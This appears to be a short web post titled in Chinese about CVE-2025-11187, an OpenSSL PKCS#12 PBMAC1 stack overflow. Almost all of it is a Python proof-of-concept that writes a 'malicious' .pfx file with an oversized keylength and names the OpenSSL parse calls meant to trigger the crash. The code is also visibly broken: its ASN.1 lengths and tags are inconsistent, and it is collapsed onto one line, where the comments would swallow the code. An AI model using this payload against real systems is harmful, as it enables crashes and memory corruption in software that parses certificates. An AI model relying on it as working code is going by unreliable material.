CVE-2025-11187 OpenSSL PKCS#12文件PBMAC1参数验证缺失导致栈缓冲区溢出

import os import struct # CVE-2025-11187 PoC - Malicious PKCS#12 file generator # This PoC generates a PKCS#12 file with oversized keylength in PBMAC1 def create_malicious_pkcs12(): """ Create a malicious PKCS#12 file with oversized PBMAC1 keylength to trigger stack buffer overflow in OpenSSL """ # ASN.1 structure for PKCS#12 with PBMAC1 # The keylength parameter is set to a value > 64 bytes malicious_keylength = b'\x02\x82\x01\x00' # INTEGER: 256 bytes (oversized) # Construct malicious PKCS#12 file # This is a simplified representation pkcs12_header = b'\x30\x82\x02\x00' # SEQUENCE # PBMAC1 parameters with oversized keylength pbmac1_params = ( b'\x30' # SEQUENCE + b'\x82\x00\x10' # salt OCTET STRING + malicious_keylength # Oversized keylength + b'\x02\x01\x01' # iteration count ) # Create the malicious PKCS#12 file malicious_file = pkcs12_header + pbmac1_params with open('malicious_pkcs12.pfx', 'wb') as f: f.write(malicious_file) print('[+] Malicious PKCS#12 file created: malicious_pkcs12.pfx') print('[+] keylength set to 256 bytes (buffer size is 64 bytes)') return 'malicious_pkcs12.pfx' def trigger_vulnerability(file_path): """ Simulate triggering the vulnerability In real scenario, use OpenSSL API to parse the file: PKCS12_parse(p12, password) or PKCS12_verify_mac(p12, password) """ print(f'[*] Attempting to parse malicious file: {file_path}') print('[*] This would trigger buffer overflow in OpenSSL') print('[*] Expected result: Stack corruption or NULL pointer dereference') if __name__ == '__main__': malicious_file = create_malicious_pkcs12() trigger_vulnerability(malicious_file)